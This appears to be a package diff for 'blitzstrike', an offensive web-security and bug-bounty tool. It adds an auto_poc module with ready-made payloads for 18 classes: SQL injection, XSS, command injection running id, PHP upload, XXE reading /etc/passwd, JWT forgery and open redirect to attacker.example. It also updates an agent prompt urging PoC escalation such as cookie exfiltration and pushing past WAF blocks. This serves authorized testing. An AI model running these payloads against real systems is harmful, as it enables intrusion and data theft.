blitzstrike 2.4.89 → 2.4.90

package/CHANGELOG.md

@@ -5,6 +5,19 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.90] — 2026-09-17
+
+### Added — Auto-PoC (reproduction recipe generator)
+
+- New `auto_poc(type, base_url, endpoint, param, …)` tool — turns a finding into a
+  copy-paste-ready reproduction recipe, making the "reproducible" gate question
+  executable. Emits the exact request (with a MARKER), a NEGATIVE CONTROL, and the
+  expected differential that PROVES the bug, plus a Patchstack-style title, derived
+  severity, and the fix. 18 classes: sql_injection, missing_authz/idor, ssrf, xss,
+  ssti, command_injection, file_upload, mass_assignment, jwt_alg_confusion, crlf,
+  open_redirect, xxe, prototype_pollution, deserialization, hardcoded_secret,
+  cache_deception, cors_misconfiguration, subdomain_takeover.
+
 ## [2.4.89] — 2026-09-17
 
 ### Added — Sibling Rule Engine (deterministic live logic-bug prober)

package/dist/index.js

@@ -61144,6 +61144,202 @@ async function siblingScan(input) {
   };
 }
 
+// src/auto-poc.ts
+var MK = "zzblitz";
+var qs = (i, value) => {
+  const sep = i.endpoint.includes("?") ? "&" : "?";
+  return `${i.base_url}${i.endpoint}${sep}${i.param ?? "input"}=${value}`;
+};
+var POC_TEMPLATES = {
+  sql_injection: {
+    severity: "critical",
+    marker: `1' OR '1'='1`,
+    request: (i) => qs(i, `1' OR '1'='1`),
+    control: (i) => qs(i, `1' AND '1'='2`),
+    title: (i) => `SQL injection in ${i.endpoint} allows an attacker to read/modify database records`,
+    expected: "The OR-true request returns data (or a different response) where the AND-false control returns nothing/error — proving the parameter reaches a SQL query unsanitized.",
+    fix: "Parameterize the query (prepared statement) and validate the input type."
+  },
+  missing_authz: {
+    severity: "high",
+    marker: MK,
+    request: (i) => `${i.base_url}${i.endpoint.replace(/\{\w+\}|:id|\d+$/, i.victim_id ?? "VICTIM_ID")}`,
+    control: (i) => `${i.base_url}${i.endpoint}`,
+    title: (i) => `Missing authorization on ${i.endpoint} allows an attacker to access another user's data (IDOR)`,
+    expected: "The request with the ATTACKER's token + the VICTIM's object id returns the victim's data (not 401/403) — proving broken object-level authorization.",
+    fix: "Enforce per-object ownership checks server-side on every object access."
+  },
+  ssrf: {
+    severity: "high",
+    marker: "http://{canary}",
+    request: (i) => qs(i, i.canary ?? "http://CANARY.example"),
+    control: (i) => qs(i, "https://example.com"),
+    title: (i) => `SSRF via ${i.param ?? "url"} on ${i.endpoint} allows internal network requests`,
+    expected: "The server fetches the canary URL — confirm via an OOB listener (oob_start) or by observing a request to an attacker-controlled host.",
+    fix: "Allowlist the destination host/scheme and block private/internal ranges (169.254.169.254, 127.0.0.0/8, ::1)."
+  },
+  xss: {
+    severity: "high",
+    marker: `<img src=x onerror=alert("${MK}")>`,
+    request: (i) => qs(i, encodeURIComponent(`<img src=x onerror=alert("${MK}")>`)),
+    control: (i) => qs(i, "benign"),
+    title: (i) => `Reflected XSS via ${i.param ?? "input"} on ${i.endpoint} executes script in a victim's session`,
+    expected: `The marker \`${MK}\` is reflected UNencoded into the HTML (view-source / drive_devtools confirms the payload is not escaped).`,
+    fix: "HTML-encode all output and use a context-aware escaping / DOM-purify allowlist."
+  },
+  ssti: {
+    severity: "high",
+    marker: "{{7*7}}",
+    request: (i) => qs(i, encodeURIComponent("{{7*7}}")),
+    control: (i) => qs(i, "7"),
+    title: (i) => `Server-side template injection on ${i.endpoint} allows remote code execution`,
+    expected: "The response contains `49` (the expression evaluated) instead of the literal `{{7*7}}`.",
+    fix: "Do not render user input through a template engine; use a sandboxed renderer."
+  },
+  command_injection: {
+    severity: "critical",
+    marker: `; echo ${MK}$(id)`,
+    request: (i) => qs(i, encodeURIComponent(`; echo ${MK}$(id)`)),
+    control: (i) => qs(i, "normal"),
+    title: (i) => `Command injection via ${i.param ?? "input"} on ${i.endpoint} allows OS command execution`,
+    expected: `The response (or the OOB callback) contains \`${MK}uid=\` — the command executed.`,
+    fix: "Avoid shelling out with user input; use exec-argument APIs (no shell) and allowlist values."
+  },
+  file_upload: {
+    severity: "high",
+    marker: MK,
+    request: (i) => `POST ${i.base_url}${i.endpoint} (multipart) with file "poc.php" containing \`<?php echo "${MK}"; ?>\``,
+    control: (i) => `POST ${i.base_url}${i.endpoint} (multipart) with file "poc.txt" containing "benign"`,
+    title: (i) => `Unrestricted file upload on ${i.endpoint} allows arbitrary code execution`,
+    expected: `Requesting the uploaded file returns \`${MK}\` — the PHP executes server-side.`,
+    fix: "Allowlist extensions, validate MIME + magic bytes, store outside webroot, serve via a sanitized handler."
+  },
+  mass_assignment: {
+    severity: "high",
+    marker: `"role":"admin"`,
+    request: (i) => `POST ${i.base_url}${i.endpoint} body={"role":"admin","is_admin":true}`,
+    control: (i) => `POST ${i.base_url}${i.endpoint} body={"role":"user"}`,
+    title: (i) => `Mass assignment on ${i.endpoint} allows privilege escalation to admin`,
+    expected: "The response reflects the elevated role (or subsequent requests act as admin) — the server bound the injected field.",
+    fix: "Use an explicit allowlist of bindable fields; never bind role/privilege fields from request input."
+  },
+  jwt_alg_confusion: {
+    severity: "critical",
+    marker: MK,
+    request: (i) => `GET ${i.base_url}${i.endpoint} Authorization: Bearer <forged HS256 token signed with the public key>`,
+    control: (i) => `GET ${i.base_url}${i.endpoint} Authorization: Bearer <attacker's RS256 token>`,
+    title: (i) => `JWT algorithm confusion on ${i.endpoint} allows forging admin tokens`,
+    expected: "The forged HS256 token (signed with the public key) is accepted as admin — verify by reaching an admin-only endpoint.",
+    fix: "Pin the expected algorithm server-side and never accept HS256 when the key is asymmetric/public."
+  },
+  crlf_injection: {
+    severity: "medium",
+    marker: MK,
+    request: (i) => qs(i, encodeURIComponent(`x%0d%0aX-Injected: ${MK}`)),
+    control: (i) => qs(i, "x"),
+    title: (i) => `CRLF injection via ${i.param ?? "input"} on ${i.endpoint} allows response splitting / header injection`,
+    expected: `The response contains an injected \`X-Injected: ${MK}\` header.`,
+    fix: "Strip CR/LF from any value placed into a response header."
+  },
+  open_redirect: {
+    severity: "medium",
+    marker: "https://attacker.example",
+    request: (i) => qs(i, encodeURIComponent("https://attacker.example")),
+    control: (i) => qs(i, encodeURIComponent("https://target.com/legit")),
+    title: (i) => `Open redirect via ${i.param ?? "url"} on ${i.endpoint} can be chained into token theft`,
+    expected: "The response issues a 30x to `https://attacker.example`.",
+    fix: "Allowlist redirect targets and validate the exact destination."
+  },
+  xxe: {
+    severity: "high",
+    marker: MK,
+    request: (i) => `POST ${i.base_url}${i.endpoint} body=<?xml version="1.0"?><!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]><x>&e;</x>`,
+    control: (i) => `POST ${i.base_url}${i.endpoint} body=<?xml version="1.0"?><x>benign</x>`,
+    title: (i) => `XXE on ${i.endpoint} allows arbitrary file read`,
+    expected: "The response contains /etc/passwd content (or the OOB callback fires for the external entity).",
+    fix: "Disable DTD/external entity resolution and use a hardened XML parser."
+  },
+  prototype_pollution: {
+    severity: "high",
+    marker: MK,
+    request: (i) => `POST ${i.base_url}${i.endpoint} body={"__proto__":{"polluted":"${MK}"}}`,
+    control: (i) => `POST ${i.base_url}${i.endpoint} body={"safe":"x"}`,
+    title: (i) => `Prototype pollution on ${i.endpoint} allows application-wide object tampering`,
+    expected: `A later read of \`({}).polluted\` returns \`${MK}\` (or the behavior changes observably).`,
+    fix: "Block __proto__/constructor/prototype keys and use Object.create(null) / safe merge."
+  },
+  deserialization: {
+    severity: "critical",
+    marker: MK,
+    request: (i) => `POST ${i.base_url}${i.endpoint} body=<serialized gadget payload (ysoserial/phpggc) with command "echo ${MK}">`,
+    control: (i) => `POST ${i.base_url}${i.endpoint} body=<benign serialized object>`,
+    title: (i) => `Insecure deserialization on ${i.endpoint} allows remote code execution`,
+    expected: `The command executes — confirm via the OOB callback or the \`${MK}\` marker in the response/log.`,
+    fix: "Never deserialize untrusted input; prefer safe formats (JSON) + integrity checks."
+  },
+  hardcoded_secret: {
+    severity: "high",
+    marker: MK,
+    request: (i) => `GET ${i.base_url}${i.endpoint} with the leaked key — enumerate what it can access`,
+    control: (i) => `GET ${i.base_url}${i.endpoint} with no key (expect 401)`,
+    title: (i) => `Hardcoded credential on ${i.endpoint} grants unauthorized access to sensitive resources`,
+    expected: "The leaked key authenticates (200 vs 401) and enumerates its scope — proving it is ACTIVE, not just present.",
+    fix: "Rotate the credential, move it to a secret manager, and revoke the leaked value."
+  },
+  cache_deception: {
+    severity: "high",
+    marker: MK,
+    request: (i) => `${i.base_url}${i.endpoint}.css (authenticated — triggers caching of the private response)`,
+    control: (i) => `${i.base_url}${i.endpoint} (baseline private response)`,
+    title: (i) => `Web cache deception on ${i.endpoint} serves a victim's private response to anonymous users`,
+    expected: "Re-fetching the `.css` URL anonymously returns the victim's private content (body matches the authenticated baseline).",
+    fix: "Include the session cookie in the cache key or disable caching for authenticated responses."
+  },
+  cors_misconfiguration: {
+    severity: "medium",
+    marker: MK,
+    request: (i) => `GET ${i.base_url}${i.endpoint} Origin: https://attacker.example (with credentials/cookies)`,
+    control: (i) => `GET ${i.base_url}${i.endpoint} Origin: https://target.com`,
+    title: (i) => `CORS misconfiguration on ${i.endpoint} lets any site read the victim's authenticated responses`,
+    expected: "The response echoes `Access-Control-Allow-Origin: https://attacker.example` AND `Access-Control-Allow-Credentials: true`.",
+    fix: "Validate Origin against a static allowlist and never combine a reflected origin with credentials."
+  },
+  subdomain_takeover: {
+    severity: "medium",
+    marker: MK,
+    request: (i) => `dig CNAME ${i.endpoint} (verify the target resolves to an unclaimed service)`,
+    control: (i) => `dig A ${i.endpoint} (a live A record = not takeable)`,
+    title: (i) => `Subdomain takeover on ${i.endpoint} allows serving attacker content on the victim's domain`,
+    expected: "The CNAME target returns NXDOMAIN / a 'not found' provisioning page (GitHub 404, S3 NoSuchBucket) — claimable.",
+    fix: "Remove the dangling DNS record and audit for other dangling references."
+  }
+};
+function autoPoc(input) {
+  const type = canonicalId(input.type);
+  const tpl = POC_TEMPLATES[type] ?? POC_TEMPLATES.missing_authz;
+  const pat = patternLookup(type);
+  const severity = pat?.severity ?? tpl.severity;
+  return {
+    type,
+    title: tpl.title(input),
+    severity,
+    marker: tpl.marker,
+    request: tpl.request(input),
+    control_request: tpl.control(input),
+    expected: tpl.expected,
+    fix: tpl.fix,
+    steps: [
+      `1. Send the control request and record the baseline: \`${tpl.control(input)}\``,
+      `2. Send the marker request: \`${tpl.request(input)}\``,
+      `3. Confirm the differential — ${tpl.expected}`,
+      `4. Attach the evidence (status codes + response bodies) and report.`
+    ]
+  };
+}
+function listPocTypes() {
+  return Object.keys(POC_TEMPLATES).sort();
+}
+
 // src/enterprise-benchmark.ts
 import { existsSync as existsSync14, readFileSync as readFileSync25, readdirSync as readdirSync6, statSync as statSync3 } from "node:fs";
 import { join as join23, resolve } from "node:path";
@@ -61401,7 +61597,7 @@ function createServer2() {
 ` + `- A hard block (Cloudflare/WAF/IP-block/captcha) is NOT the end: mark the finding blocked + note the required vantage (residential / authorized / correct-SNI / --resolve direct-to-origin), then CONTINUE to the next lead (origin bypass, non-prod cluster, mobile APK, subdomain).
 ` + `- Keep trying every lead AND every chain step until each is verified/executed or blocked, THEN generate_report. Never deliver a bare surface map, and never stop at 'found X' when X enables more.
 
-` + "TWO PATHS:\\n" + "- Source path on disk -> blitz_scan / taint_file / eagle_eye2 (static).\\n" + "- Live URL -> live_recon / active_scan / strike_verify (web-hunting).\\n\\n" + "DEEPEN A FINDING: attack_plan(target, tech, params) to get the prioritized vector plan (decide what to test next with data); list_chains (escalation), chain_links (compose), technique_lookup(cls), payload_lookup, bypass_lookup (blocked). Ground any detector hit empirically with pattern_lookup(id) — it returns the class's CWE, real-world signature, escalation chains, citable references, per-class bypass techniques, and the high-value assets (crown jewels) that class hits, so a raw hit becomes a class-aware finding. Resolve free-form terminology first with synonym_lookup(term) (IDOR/BOLA/SQLi/prompt-injection → canonical id). For an llm_injection hit, its pattern carries a validation discipline — the RUN-TWICE RULE (reproduce token-for-token across two fresh sessions), NON-GUESSABLE ANCHOR (must leak a real key/URL, not a plausible guess), and OOB PROOF (a verifiable callback log) — apply all three before reporting. BEFORE generating a report, run submission_gate(...) and only ship a finding that passes all 7 questions (reproducible, in-scope, real-impact, no-privileged-assumption, verified-live, evidence-redacted, severity-derived); one false = kill it. Calibrate severity with severity_calibrate(type, cvss) to get a P1–P5 tier + VRT-style category. Start each engagement with engagement_scaffold(target, scope) for the folder + scope.md structure, and check data_refresh() to confirm the data layers are consistent. Phase doctrine: read_skill(bs-orchestrate-engagement | bs-web-hunting | bs-source-audit | bs-verify-finding). Campaign plan: read_playbook(target-type). On any failure call retry_guidance(signal) / model_fallback(signal) before giving up. HUNTING DOCTRINE (maximize payout rate): (1) SIBLING RULE — if one endpoint requires auth, check every sibling (/export /delete /share); ~30% of paid IDOR/auth bugs come from siblings — AUTOMATE it with sibling_scan(base_url, endpoint, token_a, token_b), the deterministic live logic-bug prober (sibling enumeration + differential IDOR + auth matrix + mass assignment + rate limit, evidence-first). (2) A→B SIGNAL — a confirmed bug signals a class of developer mistake; hunt B and C (20-min box) before reporting. (3) TWO-ACCOUNT IDOR — always test with attacker account A reading victim account B, and state it in the report. (4) PoC ESCALATION — IDOR shows victim data (not 200), XSS shows cookie exfil (not alert), SSRF shows internal response (not DNS), SQLi shows DB content (not error). (5) FOLLOW THE MONEY — billing/credits/refunds/wallet flows. (6) Kill weak findings with kill_list(type) BEFORE the gate — missing headers, self-XSS, open-redirect-alone, SSRF-DNS-only, GraphQL-introspection-alone are always N/A standalone. (7) CI/CD + SAML/SSO are critical attack surfaces (pull_request_target, expression injection, XML signature wrapping, comment injection). Full doctrine: hunting_doctrine().\n" + "KNOWLEDGE BASE (discover, don't guess): skillLookup(topic) / listSkills for the 40 attack-path + hunting skills (ap-*, hp-*, bs-*); list_attack_vectors / attack_vectors(cat) for the 34-category vector taxonomy; taxonomy(kind) for OWASP/CWE/ASVS/API-top-10; read_playbook(type) for the 17 campaign playbooks; list_manuals / read_tool_manual for 317 tool references; list_tools / run_catalog_tool for the 141-tool catalog. Every tool, skill, and data layer is reachable from these. CROSS-TARGET INTELLIGENCE: strike_resolve auto-records confirmed/false_positive verdicts into the empirical ledger; query it with intelligence(action=hit_rates/top_vectors/recall) so a new target on a known tech inherits historical hit-rates (attack_plan already blends them into success_probability). intelligence(action=recall, tech, target) is the per-engagement pattern recall — it returns which patterns historically CONFIRMED on that tech (prioritize them) versus which only ever produced false positives (avoid them), so a new engagement starts from the empirical playbook of past ones. LIVE PENTEST + TARGETING (black-box, WAF-safe): cache_gap(base_url, endpoint) fuzzes path-normalization + static-extension variants for cache deception/poisoning; blind_oracle(base_url, param, value) detects which SINK a param reaches (sql/ssti/xss) via benign arithmetic (id=1+0, test${7*7}) WITHOUT a malicious payload; param_precedence(base_url, param, A, B) maps duplicate-parameter precedence (first/last-wins) for WAF-bypass. OOB (out-of-band) PROOF for BLIND vulns: oob_start() spins an interactsh listener (unique *.oast.* domain, streams DNS/HTTP interactions — the standard for public targets) or a local HTTP listener for local labs; inject the canary, then oob_poll(id) until the hit arrives; oob_stop(id) to clean up. A blind SSRF/XXE/SQLi/command-injection is CONFIRMED only when the canary actually arrives — never from a guess. SOURCE TARGETING: action_surface(code) maps every wp_ajax_* action to its vuln class + DERIVED priority (what to look for WHERE); security_state(sanitizers, sink) gives a wrong-context sanitization verdict; framework_knowledge(framework) returns auth/nonce primitives for 9 frameworks; variant_scan(root, signature) mass-sweeps an install base for ONE bug family; patch_analyze(old, new) REVERSES a security patch into the 0-day, and its mine_signature feeds variant_scan to sweep unpatched copies. All of these are DETECTION HINTS — verify each live (strike_verify / browser_validate) before it enters the report. NEWEST DETECTORS — understand AND try them: variant_scan also emits priv_esc (privilege escalation — a role/capability/user change fed by request input, traced cross-file via reverse call-graph, e.g. set_role($id, sanitize_key($_POST['um-role'])) or update_user_meta(...,'wp_capabilities', $_POST[...])) and flags uploadAllow=>array('all') unrestricted-upload configs as file_upload (the file-manager/connector shape). TO TRY a priv_esc hit: submit the role field with 'administrator' (or send wp_capabilities meta) and confirm the account actually gains admin. TO TRY an unrestricted-upload hit: POST a .php/.phtml and confirm it lands web-reachable + executes. variant_scan also emits hardcoded_secret (CWE-798) in three tiers: a secret field (api_key/db_password/access_token/aws_*) assigned a literal (HIGH), a known secret FORMAT (JWT eyJ…/AWS AKIA…/GitHub ghp_…/Slack xoxb-…/…) regardless of name (HIGH), or a high-entropy suspect token (MEDIUM — verify before reporting). Verify a frontend/JS secret live via drive_devtools (inspect the JS bundle / network response and confirm the key is actually exposed), and for a backend secret confirm it is reachable/valid. A static hit is a HYPOTHESIS until verified live — never report unverified. For a repo, also scan_git_history(root) — secrets DELETED from HEAD still live in .git history (the removed-later-is-not-fixed trap), and it feeds every recovered pre-deletion blob through the same secret detector. Once you recover a credential, prove it is still ACTIVE with validate_leaked_key(apiBase, endpoints, key|blobUrl) — a READ-ONLY differential test (401-without-key vs 200-with-key = auth bypass PROVEN). Two supply-chain detectors: dependency_confusion (a manifest/build file resolving a package from a public registry — pypi.org/npmjs.org --extra-index-url, or a scoped @company/pkg with no private registry) and ml_supply_chain (torch.load without weights_only=True / joblib.load / np.load(allow_pickle=True) / keras load_model on an untrusted model → pickle RCE). Rust is supported end-to-end: the taint engine (blitz_scan / taint_file) maps Rust sinks (std::process::Command, sqlx/diesel, reqwest/hyper, std::fs, serde/bincode) to the classic classes, plus two Rust-specific detectors — rust_unsafe (transmute / assume_init / from_raw_parts / ptr::* — memory-unsafety surface, CWE-119) and rust_format_string (println!/format! with a variable as the format string — CWE-134). The sqlx query! compile-time macro is treated as safe (suppressed). Two more web-class detectors: jwt_alg_confusion (a JWT verifier that dispatches on the token's alg header and accepts BOTH RS256 and HS256, with the HS256 HMAC secret derived from public/shared key material — CWE-347; the attacker sets alg=HS256 and signs with the public key to forge admin tokens) and cache_deception (a reverse proxy caching static-extension URLs with a cache key that omits the session cookie, over a session-authenticated backend — CWE-525; the victim's cached private response is re-fetched anonymously). TO TRY a jwt_alg_confusion hit: fetch the public key (/.well-known/jwks.json), forge an HS256 token signed with that public key, and confirm admin access. TO TRY a cache_deception hit: request an authenticated path with a static extension appended (.css/.js) and re-fetch it anonymously. Three more detectors: cors_misconfiguration (Access-Control-Allow-Origin reflects the request Origin or is '*' while credentials are true — CWE-942; any site reads the victim's authenticated responses), xss (user input into a DOM sink — innerHTML / dangerouslySetInnerHTML / document.write / .html() / eval — CWE-79), and subdomain_takeover (a dangling CNAME/AliasTarget to a claimable service like *.github.io/*.herokuapp.com/*.amazonaws.com — CWE-404). TO TRY a cors hit: send an evil Origin + confirm the response echoes it with Allow-Credentials:true. TO TRY an xss hit: confirm the sink executes (drive_devtools). TO TRY a takeover hit: verify the CNAME target resolves to an unclaimed/not-found page. WEB3: for Solidity/EVM, call web3_audit(code|path) — a deterministic 13-class smart-contract audit (reentrancy incl. ERC721/ERC1155 callback reentrancy, unchecked return, unchecked arithmetic, tx.origin auth, signature replay, unprotected selfdestruct, delegatecall-to-user-input, missing access control, timestamp dependence, spot-price oracle manipulation incl. slot0/latestRoundData, unbounded loop, abi.encodePacked hash collision, missing address(0) validation) returning ranked findings (class/CWE/severity/line), then foundry_poc(class, contract) to generate an executable Foundry test that PROVES the bug. A web3 hit is a HYPOTHESIS until the Foundry PoC reproduces it.\n" + `PRECISION ANALYSIS — chrome-devtools MCP is MANDATORY, not optional:
+` + "TWO PATHS:\\n" + "- Source path on disk -> blitz_scan / taint_file / eagle_eye2 (static).\\n" + "- Live URL -> live_recon / active_scan / strike_verify (web-hunting).\\n\\n" + "DEEPEN A FINDING: attack_plan(target, tech, params) to get the prioritized vector plan (decide what to test next with data); list_chains (escalation), chain_links (compose), technique_lookup(cls), payload_lookup, bypass_lookup (blocked). Ground any detector hit empirically with pattern_lookup(id) — it returns the class's CWE, real-world signature, escalation chains, citable references, per-class bypass techniques, and the high-value assets (crown jewels) that class hits, so a raw hit becomes a class-aware finding. Resolve free-form terminology first with synonym_lookup(term) (IDOR/BOLA/SQLi/prompt-injection → canonical id). For an llm_injection hit, its pattern carries a validation discipline — the RUN-TWICE RULE (reproduce token-for-token across two fresh sessions), NON-GUESSABLE ANCHOR (must leak a real key/URL, not a plausible guess), and OOB PROOF (a verifiable callback log) — apply all three before reporting. BEFORE generating a report, run submission_gate(...) and only ship a finding that passes all 7 questions (reproducible, in-scope, real-impact, no-privileged-assumption, verified-live, evidence-redacted, severity-derived); one false = kill it. Generate the concrete reproduction recipe with auto_poc(type, base_url, endpoint, param) — it emits the exact marker request + negative control + expected differential + Patchstack-style title, so 'reproducible' is executable, not abstract. Calibrate severity with severity_calibrate(type, cvss) to get a P1–P5 tier + VRT-style category. Start each engagement with engagement_scaffold(target, scope) for the folder + scope.md structure, and check data_refresh() to confirm the data layers are consistent. Phase doctrine: read_skill(bs-orchestrate-engagement | bs-web-hunting | bs-source-audit | bs-verify-finding). Campaign plan: read_playbook(target-type). On any failure call retry_guidance(signal) / model_fallback(signal) before giving up. HUNTING DOCTRINE (maximize payout rate): (1) SIBLING RULE — if one endpoint requires auth, check every sibling (/export /delete /share); ~30% of paid IDOR/auth bugs come from siblings — AUTOMATE it with sibling_scan(base_url, endpoint, token_a, token_b), the deterministic live logic-bug prober (sibling enumeration + differential IDOR + auth matrix + mass assignment + rate limit, evidence-first). (2) A→B SIGNAL — a confirmed bug signals a class of developer mistake; hunt B and C (20-min box) before reporting. (3) TWO-ACCOUNT IDOR — always test with attacker account A reading victim account B, and state it in the report. (4) PoC ESCALATION — IDOR shows victim data (not 200), XSS shows cookie exfil (not alert), SSRF shows internal response (not DNS), SQLi shows DB content (not error). (5) FOLLOW THE MONEY — billing/credits/refunds/wallet flows. (6) Kill weak findings with kill_list(type) BEFORE the gate — missing headers, self-XSS, open-redirect-alone, SSRF-DNS-only, GraphQL-introspection-alone are always N/A standalone. (7) CI/CD + SAML/SSO are critical attack surfaces (pull_request_target, expression injection, XML signature wrapping, comment injection). Full doctrine: hunting_doctrine().\n" + "KNOWLEDGE BASE (discover, don't guess): skillLookup(topic) / listSkills for the 40 attack-path + hunting skills (ap-*, hp-*, bs-*); list_attack_vectors / attack_vectors(cat) for the 34-category vector taxonomy; taxonomy(kind) for OWASP/CWE/ASVS/API-top-10; read_playbook(type) for the 17 campaign playbooks; list_manuals / read_tool_manual for 317 tool references; list_tools / run_catalog_tool for the 141-tool catalog. Every tool, skill, and data layer is reachable from these. CROSS-TARGET INTELLIGENCE: strike_resolve auto-records confirmed/false_positive verdicts into the empirical ledger; query it with intelligence(action=hit_rates/top_vectors/recall) so a new target on a known tech inherits historical hit-rates (attack_plan already blends them into success_probability). intelligence(action=recall, tech, target) is the per-engagement pattern recall — it returns which patterns historically CONFIRMED on that tech (prioritize them) versus which only ever produced false positives (avoid them), so a new engagement starts from the empirical playbook of past ones. LIVE PENTEST + TARGETING (black-box, WAF-safe): cache_gap(base_url, endpoint) fuzzes path-normalization + static-extension variants for cache deception/poisoning; blind_oracle(base_url, param, value) detects which SINK a param reaches (sql/ssti/xss) via benign arithmetic (id=1+0, test${7*7}) WITHOUT a malicious payload; param_precedence(base_url, param, A, B) maps duplicate-parameter precedence (first/last-wins) for WAF-bypass. OOB (out-of-band) PROOF for BLIND vulns: oob_start() spins an interactsh listener (unique *.oast.* domain, streams DNS/HTTP interactions — the standard for public targets) or a local HTTP listener for local labs; inject the canary, then oob_poll(id) until the hit arrives; oob_stop(id) to clean up. A blind SSRF/XXE/SQLi/command-injection is CONFIRMED only when the canary actually arrives — never from a guess. SOURCE TARGETING: action_surface(code) maps every wp_ajax_* action to its vuln class + DERIVED priority (what to look for WHERE); security_state(sanitizers, sink) gives a wrong-context sanitization verdict; framework_knowledge(framework) returns auth/nonce primitives for 9 frameworks; variant_scan(root, signature) mass-sweeps an install base for ONE bug family; patch_analyze(old, new) REVERSES a security patch into the 0-day, and its mine_signature feeds variant_scan to sweep unpatched copies. All of these are DETECTION HINTS — verify each live (strike_verify / browser_validate) before it enters the report. NEWEST DETECTORS — understand AND try them: variant_scan also emits priv_esc (privilege escalation — a role/capability/user change fed by request input, traced cross-file via reverse call-graph, e.g. set_role($id, sanitize_key($_POST['um-role'])) or update_user_meta(...,'wp_capabilities', $_POST[...])) and flags uploadAllow=>array('all') unrestricted-upload configs as file_upload (the file-manager/connector shape). TO TRY a priv_esc hit: submit the role field with 'administrator' (or send wp_capabilities meta) and confirm the account actually gains admin. TO TRY an unrestricted-upload hit: POST a .php/.phtml and confirm it lands web-reachable + executes. variant_scan also emits hardcoded_secret (CWE-798) in three tiers: a secret field (api_key/db_password/access_token/aws_*) assigned a literal (HIGH), a known secret FORMAT (JWT eyJ…/AWS AKIA…/GitHub ghp_…/Slack xoxb-…/…) regardless of name (HIGH), or a high-entropy suspect token (MEDIUM — verify before reporting). Verify a frontend/JS secret live via drive_devtools (inspect the JS bundle / network response and confirm the key is actually exposed), and for a backend secret confirm it is reachable/valid. A static hit is a HYPOTHESIS until verified live — never report unverified. For a repo, also scan_git_history(root) — secrets DELETED from HEAD still live in .git history (the removed-later-is-not-fixed trap), and it feeds every recovered pre-deletion blob through the same secret detector. Once you recover a credential, prove it is still ACTIVE with validate_leaked_key(apiBase, endpoints, key|blobUrl) — a READ-ONLY differential test (401-without-key vs 200-with-key = auth bypass PROVEN). Two supply-chain detectors: dependency_confusion (a manifest/build file resolving a package from a public registry — pypi.org/npmjs.org --extra-index-url, or a scoped @company/pkg with no private registry) and ml_supply_chain (torch.load without weights_only=True / joblib.load / np.load(allow_pickle=True) / keras load_model on an untrusted model → pickle RCE). Rust is supported end-to-end: the taint engine (blitz_scan / taint_file) maps Rust sinks (std::process::Command, sqlx/diesel, reqwest/hyper, std::fs, serde/bincode) to the classic classes, plus two Rust-specific detectors — rust_unsafe (transmute / assume_init / from_raw_parts / ptr::* — memory-unsafety surface, CWE-119) and rust_format_string (println!/format! with a variable as the format string — CWE-134). The sqlx query! compile-time macro is treated as safe (suppressed). Two more web-class detectors: jwt_alg_confusion (a JWT verifier that dispatches on the token's alg header and accepts BOTH RS256 and HS256, with the HS256 HMAC secret derived from public/shared key material — CWE-347; the attacker sets alg=HS256 and signs with the public key to forge admin tokens) and cache_deception (a reverse proxy caching static-extension URLs with a cache key that omits the session cookie, over a session-authenticated backend — CWE-525; the victim's cached private response is re-fetched anonymously). TO TRY a jwt_alg_confusion hit: fetch the public key (/.well-known/jwks.json), forge an HS256 token signed with that public key, and confirm admin access. TO TRY a cache_deception hit: request an authenticated path with a static extension appended (.css/.js) and re-fetch it anonymously. Three more detectors: cors_misconfiguration (Access-Control-Allow-Origin reflects the request Origin or is '*' while credentials are true — CWE-942; any site reads the victim's authenticated responses), xss (user input into a DOM sink — innerHTML / dangerouslySetInnerHTML / document.write / .html() / eval — CWE-79), and subdomain_takeover (a dangling CNAME/AliasTarget to a claimable service like *.github.io/*.herokuapp.com/*.amazonaws.com — CWE-404). TO TRY a cors hit: send an evil Origin + confirm the response echoes it with Allow-Credentials:true. TO TRY an xss hit: confirm the sink executes (drive_devtools). TO TRY a takeover hit: verify the CNAME target resolves to an unclaimed/not-found page. WEB3: for Solidity/EVM, call web3_audit(code|path) — a deterministic 13-class smart-contract audit (reentrancy incl. ERC721/ERC1155 callback reentrancy, unchecked return, unchecked arithmetic, tx.origin auth, signature replay, unprotected selfdestruct, delegatecall-to-user-input, missing access control, timestamp dependence, spot-price oracle manipulation incl. slot0/latestRoundData, unbounded loop, abi.encodePacked hash collision, missing address(0) validation) returning ranked findings (class/CWE/severity/line), then foundry_poc(class, contract) to generate an executable Foundry test that PROVES the bug. A web3 hit is a HYPOTHESIS until the Foundry PoC reproduces it.\n" + `PRECISION ANALYSIS — chrome-devtools MCP is MANDATORY, not optional:
 ` + `- When a lead needs DOM/JS precision — DOM-XSS sink execution, AJAX endpoint + payload interception, JS runtime errors, redirect chains, SSO/token flow, or anything a static HTML glance cannot prove — call drive_devtools(target). It spawns chrome-devtools-mcp and drives a REAL headless browser (navigate -> list_network_requests -> list_console_messages -> evaluate_script), giving reproducible evidence instead of a guess.
 ` + `- Before calling it, check_mcp() to confirm the browser MCP is available; if not, blitzstrike install-tools or npm i -g chrome-devtools-mcp. Never substitute eyeballing minified JS or a static sink guess when a live browser can PROVE it. This is the precision + consistency layer.
 ` + "EXTERNAL MCP SERVERS (verified, connect them — NOT one-shot CLIs): chrome-devtools-mcp (29 tools: list_network_requests/get_network_request for raw HTTP interception, list_console_messages for JS errors + DOM-XSS, evaluate_script to run JS, take_screenshot) -> stdio chrome-devtools-mcp --headless --chromeArg=--no-sandbox --chromeArg=--disable-gpu (as root/container this is MANDATORY or the browser crashes; add --proxyServer http://127.0.0.1:8080 to route through Burp, --acceptInsecureCerts for bad TLS). burp-suite-mcp (proxy history + active scan + repeater) -> NOT npm: build the JAR (git clone https://github.com/PortSwigger/mcp-server.git && cd mcp-server && ./gradlew embedProxyJar), load it in Burp Extensions, then connect the client to http://127.0.0.1:9876 (SSE) or the stdio proxy java -jar mcp-proxy-all.jar --sse-url http://127.0.0.1:9876."
@@ -62399,6 +62595,24 @@ ${statusLine}` : statusLine },
   }, async () => {
     return { content: [{ type: "text", text: JSON.stringify(huntingDoctrine()) }] };
   });
+  server.registerTool("auto_poc", {
+    title: "Auto-PoC — generate a copy-paste-ready reproduction recipe",
